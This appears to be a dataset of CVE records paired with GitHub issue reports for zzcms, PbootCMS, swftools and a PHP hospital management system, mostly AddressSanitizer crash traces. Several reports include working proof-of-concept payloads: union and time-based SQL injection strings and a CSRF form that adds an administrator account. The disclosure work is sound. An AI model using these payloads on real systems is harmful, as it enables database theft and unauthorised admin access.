cve_id stringlengths 13 16 | cve_published stringdate 2019-01-01 16:29:00 2025-02-25 20:15:37 | cve_descriptions stringlengths 34 2.6k | cve_metrics dict | cve_references listlengths 1 281 | cve_configurations listlengths 1 70 | cve_cwe_list listlengths 1 1 | cve_primary_cwe stringclasses 164 values | url stringlengths 36 97 | cve_tags listlengths 1 5 ⌀ | domain stringclasses 1 value | issue_owner_repo listlengths 2 2 | issue_body stringlengths 0 198k ⌀ | issue_title stringlengths 1 335 | issue_comments_url stringlengths 55 116 | issue_comments_count int64 0 338 | issue_created_at stringdate 2012-06-06 09:34:24 2025-04-02 09:37:20 | issue_updated_at stringdate 2014-04-01 20:16:21 2025-06-16 12:26:58 | issue_html_url stringlengths 36 97 | issue_github_id int64 4.93M 2.97B | issue_number int64 1 199k | __index_level_0__ int64 0 6.55k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
CVE-2019-12350 | 2022-06-02T14:15:26.230 | An issue was discovered in zzcms 2019. SQL Injection exists in dl/dl_download.php via an id parameter value with a trailing comma. | {
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] | github.com | [
"cby234",
"zzcms"
] | Link Url : http://www.zzcms.net/about/6.htm
Edition : ZZCMS2018升2019 (2019-01-11)
0x01 Vulnerability (/dl/dl_download.php line 67 ~ 71)
If index of ',' value in `id` parameter is bigger than 0 sql will be
When we check the query there is no single quote to `id` parameter. So We can inject
any query with `id` parameter
We can find there is no security filter for `id` parameter and it means we can inject Sql query via
`id` parameter if we concat ',' value at the end of `id` parameter
0x02 payload
give below "POC" value for post data in "/dl/dl_download.php"
POC : union SQL injection
menu1=%3Fb%3D123%26province%3D%26city%3D%26keyword%3D%26page_size%3D2&FileExt=xls&sql=select+count%28*%29+as+total+from+zzcms_dl+where+classid%3D1+&chkAll=checkbox&id%5B%5D=1) union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,version(),0,1,2,3-- a,
| zzcms 2019 dl/dl_download.php SQL injection | https://api.github.com/repos/cby234/zzcms/issues/4/comments | 0 | 2019-05-22T07:15:10Z | 2022-06-01T11:26:28Z | https://github.com/cby234/zzcms/issues/4 | 446,970,146 | 4 | 3,681 |
CVE-2019-12351 | 2022-06-02T14:15:26.270 | An issue was discovered in zzcms 2019. SQL Injection exists in dl/dl_print.php via an id parameter value with a trailing comma. | {
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"89"
] | 89 | https://github.com/cby234/zzcms/issues/3 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"cby234",
"zzcms"
] | Link Url : http://www.zzcms.net/about/6.htm
Edition : ZZCMS2018升2019 (2019-01-11)
0x01 Vulnerability (/dl/dl_print.php line 76 ~ 80)
If index of ',' value in `id` parameter is bigger than 0 sql will be
When we check the query there is no single quote to `id` parameter. So We can inject
any query with `id` parameter
We can find there is no security filter for `id` parameter and we can inject Sql query via `id` parameter
if we concat ',' value at the end of `id` parameter
0x02 payload
give below "POC" value for post data in "/dl/dl_print.php"
POC : union SQL injection menu1=%3Fb%3D123%26province%3D%26city%3D%26keyword%3D%26page_size%3D2&FileExt=xls&sql=select+count%28*%29+as+total+from+zzcms_dl+where+classid%3D1+&chkAll=checkbox&id%5B%5D=1) union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,version(),0,1,2,3-- a,
| zzcms 2019 dl/dl_print.php SQL injection | https://api.github.com/repos/cby234/zzcms/issues/3/comments | 0 | 2019-05-22T06:57:39Z | 2022-06-01T11:26:38Z | https://github.com/cby234/zzcms/issues/3 | 446,963,900 | 3 | 3,682 |
CVE-2020-20971 | 2022-06-02T14:15:26.543 | Cross Site Request Forgery (CSRF) vulnerability in PbootCMS v2.0.3 via /admin.php?p=/User/index. | {
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"source": "nvd@nist.gov",
"type": "Primary"
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"url": "https://github.com/TplusSs/PbootCMS/issues/1"
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"352"
] | 352 | https://github.com/TplusSs/PbootCMS/issues/1 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"TplusSs",
"PbootCMS"
] | After the administrator logged in, open this CSRFpoc page
CSRF.html
```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://pboot.com:12345/admin.php?p=/User/add" method="POST">
<input type="hidden" name="formcheck" value="d48ee9bffae5f7fb7022ea1e7dd4a224" />
<input type="hidden" name="username" value="TplusSs" />
<input type="hidden" name="realname" value="asd" />
<input type="hidden" name="password" value="123" />
<input type="hidden" name="rpassword" value="123" />
<input type="hidden" name="status" value="1" />
<input type="hidden" name="roles[0]" value="R101" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
Then open the “/admin.php?p=/User/index” page to see the added system administrator
| There is a CSRF vulnerability that can add the administrator account | https://api.github.com/repos/TplusSs/PbootCMS/issues/1/comments | 0 | 2019-12-13T03:02:37Z | 2019-12-13T03:08:54Z | https://github.com/TplusSs/PbootCMS/issues/1 | 537,322,712 | 1 | 3,683 |
CVE-2021-42195 | 2022-06-02T14:15:29.733 | An issue was discovered in swftools through 20201222. A heap-buffer-overflow exists in the function handleEditText() located in swfdump.c. It allows an attacker to cause code Execution. | {
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"baseScore": 6.8,
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}
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"matthiaskramm",
"swftools"
] | ### system info
Ubuntu x86_64, clang 6.0, swfdump (latest master a9d5082)
### Command line
./src/swfdump -D @@
### AddressSanitizer output
==44192==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60600000e8d3 at pc 0x000000410aca bp 0x7fffffffdee0 sp 0x7fffffffded0
READ of size 1 at 0x60600000e8d3 thread T0
#0 0x410ac9 in handleEditText /test/swftools-asan/src/swfdump.c:549
#1 0x408624 in main /test/swftools-asan/src/swfdump.c:1511
#2 0x7ffff68a683f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#3 0x40c168 in _start (/test/swftools-asan/src/swfdump+0x40c168)
0x60600000e8d3 is located 0 bytes to the right of 51-byte region [0x60600000e8a0,0x60600000e8d3)
allocated by thread T0 here:
#0 0x7ffff6f02602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x532fa7 in rfx_alloc /test/swftools-asan/lib/mem.c:30
#2 0x541396 (/test/swftools-asan/src/swfdump+0x541396)
SUMMARY: AddressSanitizer: heap-buffer-overflow /test/swftools-asan/src/swfdump.c:549 handleEditText
Shadow bytes around the buggy address:
0x0c0c7fff9cc0: 00 00 00 00 00 00 02 fa fa fa fa fa 00 00 00 00
0x0c0c7fff9cd0: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa
0x0c0c7fff9ce0: fa fa fa fa 00 00 00 00 00 00 00 05 fa fa fa fa
0x0c0c7fff9cf0: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
0x0c0c7fff9d00: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa
=>0x0c0c7fff9d10: fa fa fa fa 00 00 00 00 00 00[03]fa fa fa fa fa
0x0c0c7fff9d20: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
0x0c0c7fff9d30: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa
0x0c0c7fff9d40: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa
0x0c0c7fff9d50: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
0x0c0c7fff9d60: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==44192==ABORTING
POC
[handleEditText_poc](https://gitee.com/cxlzff/fuzz-poc/blob/master/swftools/handleEditText_poc)
| heap-buffer-overflow exists in the function handleEditText in swfdump.c | https://api.github.com/repos/swftools/swftools/issues/174/comments | 0 | 2021-10-07T13:17:16Z | 2021-10-07T13:17:16Z | https://github.com/swftools/swftools/issues/174 | 1,020,034,970 | 174 | 3,684 |
CVE-2021-42196 | 2022-06-02T14:15:29.777 | An issue was discovered in swftools through 20201222. A NULL pointer dereference exists in the function traits_parse() located in abc.c. It allows an attacker to cause Denial of Service. | {
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] | github.com | [
"matthiaskramm",
"swftools"
] | ### system info
Ubuntu x86_64, clang 6.0, swfdump (latest master a9d5082)
### Command line
./src/swfdump -D @@
### AddressSanitizer output
==47344==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000030 (pc 0x000000488d17 bp 0x000000000000 sp 0x7fffffffdd20 T0)
#0 0x488d16 in traits_parse as3/abc.c:482
#1 0x495d41 in swf_ReadABC as3/abc.c:946
#2 0x409045 in main /test/swftools-asan/src/swfdump.c:1577
#3 0x7ffff68a683f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#4 0x40c168 in _start (/test/swftools-asan/src/swfdump+0x40c168)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV as3/abc.c:482 traits_parse
==47344==ABORTING
POC
[traits_parse_poc](https://gitee.com/cxlzff/fuzz-poc/blob/master/swftools/traits_parse_poc)
| A NULL pointer dereference exists in the function traits_parse in abc.c | https://api.github.com/repos/swftools/swftools/issues/172/comments | 0 | 2021-10-07T13:11:09Z | 2021-10-07T13:11:09Z | https://github.com/swftools/swftools/issues/172 | 1,020,028,404 | 172 | 3,685 |
CVE-2021-42197 | 2022-06-02T14:15:29.817 | An issue was discovered in swftools through 20201222 through a memory leak in the swftools when swfdump is used. It allows an attacker to cause code execution. | {
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"matthiaskramm",
"swftools"
] | ### system info
Ubuntu x86_64, clang 6.0, swfdump (latest master a9d5082)
### Command line
./src/swfdump -D @@
### AddressSanitizer output
==43305==ERROR: LeakSanitizer: detected memory leaks
Indirect leak of 63245 byte(s) in 2 object(s) allocated from:
#0 0x7ffff6f02602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x532fa7 in rfx_alloc /test/swftools-asan/lib/mem.c:30
#2 0x7fffffffe2bf (<unknown module>)
Indirect leak of 144 byte(s) in 3 object(s) allocated from:
#0 0x7ffff6f0279a in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9879a)
#1 0x53318c in rfx_calloc /test/swftools-asan/lib/mem.c:69
#2 0x7fffffffe2bf (<unknown module>)
SUMMARY: AddressSanitizer: 63389 byte(s) leaked in 5 allocation(s).
POC
[memory_leaks_poc](https://gitee.com/cxlzff/fuzz-poc/blob/master/swftools/memory_leaks_poc)
| memory leaks in swftools when we use swfdump | https://api.github.com/repos/swftools/swftools/issues/177/comments | 0 | 2021-10-07T13:25:36Z | 2021-10-07T13:25:36Z | https://github.com/swftools/swftools/issues/177 | 1,020,044,016 | 177 | 3,686 |
CVE-2021-42198 | 2022-06-02T14:15:29.860 | An issue was discovered in swftools through 20201222. A NULL pointer dereference exists in the function swf_GetBits() located in rfxswf.c. It allows an attacker to cause Denial of Service. | {
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Ubuntu x86_64, clang 6.0, swfdump (latest master a9d5082)
### Command line
./src/swfdump -D @@
### AddressSanitizer output
==41593==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000471fac bp 0x0ffffed896e0 sp 0x7fffffffdd30 T0)
#0 0x471fab in swf_GetBits /test/swftools-asan/lib/rfxswf.c:213
#1 0x478bf8 in swf_GetMatrix /test/swftools-asan/lib/rfxswf.c:867
#2 0x414975 in handlePlaceObject /test/swftools-asan/src/swfdump.c:831
#3 0x409acd in main /test/swftools-asan/src/swfdump.c:1604
#4 0x7ffff68a683f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#5 0x40c168 in _start (/test/swftools-asan/src/swfdump+0x40c168)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /test/swftools-asan/lib/rfxswf.c:213 swf_GetBits
==41593==ABORTING
POC
[swf_GetBits_null_poc](https://gitee.com/cxlzff/fuzz-poc/blob/master/swftools/swf_GetBits_null_poc)
| A NULL pointer dereference exists in the function swf_GetBits in rfxswf.c | https://api.github.com/repos/swftools/swftools/issues/168/comments | 0 | 2021-10-07T12:57:51Z | 2021-10-07T12:58:43Z | https://github.com/swftools/swftools/issues/168 | 1,020,014,352 | 168 | 3,687 |
CVE-2021-42199 | 2022-06-02T14:15:29.900 | An issue was discovered in swftools through 20201222. A heap buffer overflow exists in the function swf_FontExtract_DefineTextCallback() located in swftext.c. It allows an attacker to cause code execution. | {
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"matthiaskramm",
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Ubuntu x86_64, clang 6.0, swfdump (latest master a9d5082)
### Command line
./src/swfdump -D @@
### AddressSanitizer output
==29246==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61600000ffa0 at pc 0x00000044059d bp 0x7fffffffd270 sp 0x7fffffffd260
WRITE of size 2 at 0x61600000ffa0 thread T0
#0 0x44059c in swf_FontExtract_DefineTextCallback modules/swftext.c:508
#1 0x449c46 in swf_FontExtract_DefineText modules/swftext.c:532
#2 0x44a355 in swf_FontExtract modules/swftext.c:617
#3 0x40c2dc in fontcallback2 /test/swftools-asan/src/swfdump.c:941
#4 0x4433c6 in swf_FontEnumerate modules/swftext.c:133
#5 0x409208 in main /test/swftools-asan/src/swfdump.c:1296
#6 0x7ffff68a683f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#7 0x40c168 in _start (/test/swftools-asan/src/swfdump+0x40c168)
AddressSanitizer can not describe address in more detail (wild memory access suspected).
SUMMARY: AddressSanitizer: heap-buffer-overflow modules/swftext.c:508 swf_FontExtract_DefineTextCallback
Shadow bytes around the buggy address:
0x0c2c7fff9fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fff9fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fff9fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fff9fd0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x0c2c7fff9fe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c2c7fff9ff0: fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fffa000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fffa010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fffa020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fffa030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fffa040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==29246==ABORTING
POC
[swf_FontExtract_DefineTextCallback_poc](https://gitee.com/cxlzff/fuzz-poc/blob/master/swftools/swf_FontExtract_DefineTextCallback_poc)
| heap-buffer-overflow exists in the function swf_FontExtract_DefineTextCallback in swftext.c | https://api.github.com/repos/swftools/swftools/issues/173/comments | 0 | 2021-10-07T13:13:41Z | 2021-10-07T13:13:41Z | https://github.com/swftools/swftools/issues/173 | 1,020,030,975 | 173 | 3,688 |
CVE-2021-42200 | 2022-06-02T14:15:29.943 | An issue was discovered in swftools through 20201222. A NULL pointer dereference exists in the function main() located in swfdump.c. It allows an attacker to cause Denial of Service. | {
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Ubuntu x86_64, clang 6.0, swfdump (latest master a9d5082)
### Command line
./src/swfdump -D @@
### AddressSanitizer output
==1975==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000406f68 bp 0x7fffffffe3a0 sp 0x7fffffffdf30 T0)
#0 0x406f67 in main /test/swftools-asan/src/swfdump.c:1323
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#2 0x40c168 in _start (/test/swftools-asan/src/swfdump+0x40c168)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /test/swftools-asan/src/swfdump.c:1323 main
==1975==ABORTING
POC
[main_poc](https://gitee.com/cxlzff/fuzz-poc/blob/master/swftools/main_poc)
| A NULL pointer dereference exists in the function main in swfdump.c | https://api.github.com/repos/swftools/swftools/issues/170/comments | 0 | 2021-10-07T13:06:05Z | 2021-10-07T13:06:05Z | https://github.com/swftools/swftools/issues/170 | 1,020,023,108 | 170 | 3,689 |
CVE-2021-42201 | 2022-06-02T14:15:29.987 | An issue was discovered in swftools through 20201222. A heap-buffer-overflow exists in the function swf_GetD64() located in rfxswf.c. It allows an attacker to cause code execution. | {
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### AddressSanitizer output
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READ of size 8 at 0x60b00000aff8 thread T0
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#2 0x4935ec in swf_ReadABC as3/abc.c:748
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#5 0x40c168 in _start (/test/swftools-asan/src/swfdump+0x40c168)
0x60b00000affd is located 0 bytes to the right of 109-byte region [0x60b00000af90,0x60b00000affd)
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#1 0x532fa7 in rfx_alloc /test/swftools-asan/lib/mem.c:30
#2 0x541396 (/test/swftools-asan/src/swfdump+0x541396)
SUMMARY: AddressSanitizer: heap-buffer-overflow /test/swftools-asan/lib/rfxswf.c:520 swf_GetD64
Shadow bytes around the buggy address:
0x0c167fff95a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff95b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff95c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff95d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff95e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c167fff95f0: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00[05]
0x0c167fff9600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff9610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff9620: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff9630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff9640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==8687==ABORTING
POC
[swf_GetD64_poc](https://gitee.com/cxlzff/fuzz-poc/blob/master/swftools/swf_GetD64_poc)
| heap-buffer-overflow exists in the function swf_GetD64 in rfxswf.c | https://api.github.com/repos/swftools/swftools/issues/175/comments | 0 | 2021-10-07T13:20:00Z | 2021-10-07T13:20:00Z | https://github.com/swftools/swftools/issues/175 | 1,020,037,867 | 175 | 3,690 |
CVE-2021-42202 | 2022-06-02T14:15:30.030 | An issue was discovered in swftools through 20201222. A NULL pointer dereference exists in the function swf_DeleteFilter() located in swffilter.c. It allows an attacker to cause Denial of Service. | {
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"Exploit",
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"matthiaskramm",
"swftools"
] | ### system info
Ubuntu x86_64, clang 6.0, swfdump (latest master a9d5082)
### Command line
./src/swfdump -D @@
### AddressSanitizer output
==5769==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000042ba78 bp 0x000000000073 sp 0x7fffffffdea0 T0)
#0 0x42ba77 in swf_DeleteFilter modules/swffilter.c:290
#1 0x40de0b in dumpButton2Actions /test/swftools-asan/src/swfdump.c:245
#2 0x409448 in main /test/swftools-asan/src/swfdump.c:1600
#3 0x7ffff68a683f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#4 0x40c168 in _start (/test/swftools-asan/src/swfdump+0x40c168)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV modules/swffilter.c:290 swf_DeleteFilter
==5769==ABORTING
POC
[swf_DeleteFilter_poc](https://gitee.com/cxlzff/fuzz-poc/blob/master/swftools/swf_DeleteFilter_poc)
| A NULL pointer dereference exists in the function swf_DeleteFilter in swffilter.c | https://api.github.com/repos/swftools/swftools/issues/171/comments | 0 | 2021-10-07T13:09:20Z | 2021-10-07T13:09:20Z | https://github.com/swftools/swftools/issues/171 | 1,020,026,516 | 171 | 3,691 |
CVE-2021-42203 | 2022-06-02T14:15:30.083 | An issue was discovered in swftools through 20201222. A heap-use-after-free exists in the function swf_FontExtract_DefineTextCallback() located in swftext.c. It allows an attacker to cause code execution. | {
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"matthiaskramm",
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Ubuntu x86_64, clang 6.0, swfdump (latest master a9d5082)
### Command line
./src/swfdump -D @@
### AddressSanitizer output
==25679==ERROR: AddressSanitizer: heap-use-after-free on address 0x60600000d6a0 at pc 0x00000044059d bp 0x7fffffffd270 sp 0x7fffffffd260
WRITE of size 2 at 0x60600000d6a0 thread T0
#0 0x44059c in swf_FontExtract_DefineTextCallback modules/swftext.c:508
#1 0x449c46 in swf_FontExtract_DefineText modules/swftext.c:532
#2 0x44a355 in swf_FontExtract modules/swftext.c:617
#3 0x40c2dc in fontcallback2 /test/swftools-asan/src/swfdump.c:941
#4 0x4433c6 in swf_FontEnumerate modules/swftext.c:133
#5 0x409208 in main /test/swftools-asan/src/swfdump.c:1296
#6 0x7ffff68a683f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#7 0x40c168 in _start (/test/swftools-asan/src/swfdump+0x40c168)
0x60600000d6a0 is located 0 bytes inside of 56-byte region [0x60600000d6a0,0x60600000d6d8)
freed by thread T0 here:
#0 0x7ffff6f022ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x47db2c in swf_ReadTag /test/swftools-asan/lib/rfxswf.c:1234
#2 0x541396 (/test/swftools-asan/src/swfdump+0x541396)
previously allocated by thread T0 here:
#0 0x7ffff6f0279a in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9879a)
#1 0x53318c in rfx_calloc /test/swftools-asan/lib/mem.c:69
#2 0x541396 (/test/swftools-asan/src/swfdump+0x541396)
SUMMARY: AddressSanitizer: heap-use-after-free modules/swftext.c:508 swf_FontExtract_DefineTextCallback
Shadow bytes around the buggy address:
0x0c0c7fff9a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9a90: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 fa
0x0c0c7fff9aa0: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa
0x0c0c7fff9ab0: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
0x0c0c7fff9ac0: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 00
=>0x0c0c7fff9ad0: fa fa fa fa[fd]fd fd fd fd fd fd fa fa fa fa fa
0x0c0c7fff9ae0: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
0x0c0c7fff9af0: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa
0x0c0c7fff9b00: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa
0x0c0c7fff9b10: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
0x0c0c7fff9b20: 00 00 00 04 fa fa fa fa 00 00 00 00 00 00 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==25679==ABORTING
POC
[swf_FontExtract_DefineTextCallback_uaf_poc](https://gitee.com/cxlzff/fuzz-poc/blob/master/swftools/swf_FontExtract_DefineTextCallback_uaf_poc)
| heap-use-after-free exists in the function swf_FontExtract_DefineTextCallback in swftext.c | https://api.github.com/repos/swftools/swftools/issues/176/comments | 1 | 2021-10-07T13:21:58Z | 2022-05-31T23:28:37Z | https://github.com/swftools/swftools/issues/176 | 1,020,039,831 | 176 | 3,692 |
CVE-2021-42204 | 2022-06-02T14:15:30.127 | An issue was discovered in swftools through 20201222. A heap-buffer-overflow exists in the function swf_GetBits() located in rfxswf.c. It allows an attacker to cause code execution. | {
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"confidentialityImpact": "PARTIAL",
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Ubuntu x86_64, clang 6.0, swfdump (latest master a9d5082)
### Command line
./src/swfdump -D @@
### AddressSanitizer output
==28613==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300000efdf at pc 0x00000047238d bp 0x7fffffffdbe0 sp 0x7fffffffdbd0
READ of size 1 at 0x60300000efdf thread T0
#0 0x47238c in swf_GetBits /test/swftools-asan/lib/rfxswf.c:213
#1 0x4346cc in swf_GetSimpleShape modules/swfshape.c:66
#2 0x443fbc in swf_FontExtract_DefineFont modules/swftext.c:163
#3 0x44a096 in swf_FontExtract modules/swftext.c:597
#4 0x40c2dc in fontcallback2 /test/swftools-asan/src/swfdump.c:941
#5 0x4433c6 in swf_FontEnumerate modules/swftext.c:133
#6 0x409208 in main /test/swftools-asan/src/swfdump.c:1296
#7 0x7ffff68a683f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#8 0x40c168 in _start (/test/swftools-asan/src/swfdump+0x40c168)
0x60300000efdf is located 1 bytes to the left of 22-byte region [0x60300000efe0,0x60300000eff6)
allocated by thread T0 here:
#0 0x7ffff6f02602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x532fa7 in rfx_alloc /test/swftools-asan/lib/mem.c:30
#2 0x541396 (/test/swftools-asan/src/swfdump+0x541396)
SUMMARY: AddressSanitizer: heap-buffer-overflow /test/swftools-asan/lib/rfxswf.c:213 swf_GetBits
Shadow bytes around the buggy address:
0x0c067fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c067fff9df0: fa fa fa fa fa fa fd fd fd fd fa[fa]00 00 06 fa
0x0c067fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==28613==ABORTING
POC
[swf_GetBits_bof_poc](https://gitee.com/cxlzff/fuzz-poc/blob/master/swftools/swf_GetBits_bof_poc)
| heap-buffer-overflow exists in the function swf_GetBits in rfxswf.c | https://api.github.com/repos/swftools/swftools/issues/169/comments | 0 | 2021-10-07T13:00:58Z | 2021-10-07T13:00:58Z | https://github.com/swftools/swftools/issues/169 | 1,020,017,571 | 169 | 3,693 |
CVE-2021-44095 | 2022-06-02T14:15:31.367 | A SQL injection vulnerability exists in ProjectWorlds Hospital Management System in php 1.0 on login page that allows a remote attacker to compromise Application SQL database. | {
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] | [
"89"
] | 89 | https://github.com/projectworldsofficial/hospital-management-system-in-php/issues/1 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"projectworldsofficial",
"hospital-management-system-in-php"
] | Hi
I found a SQL injection vulnerability in your hospital management system.
-------------------------------------------------------------------------------------------------------------------------------
Loign page request -
`POST /hospital-management-system-php-mysql-master/index.php HTTP/1.1`
`Host: 192.168.1.8`
`User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0`
`Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8`
`Accept-Language: en-US,en;q=0.5`
`Accept-Encoding: gzip, deflate`
`Content-Type: application/x-www-form-urlencoded`
`Content-Length: 77`
`Origin: http://192.168.1.8`
`Connection: close`
`Referer: http://192.168.1.8/hospital-management-system-php-mysql-master/index.php`
`Cookie: PHPSESSID=svu2e3i3pe2cuvc8medpnjdp0f`
`Upgrade-Insecure-Requests: 1`
`lemail=test2@test.com'%2b(select*from(select(sleep(20)))a)%2b'&lpassword=1234`
Above query will only sleep database for 20 second but Using SQLmap bad user can dump the database as show in image.
---------------------------------------------------------------------------------------------------------------------------------------------
Control -
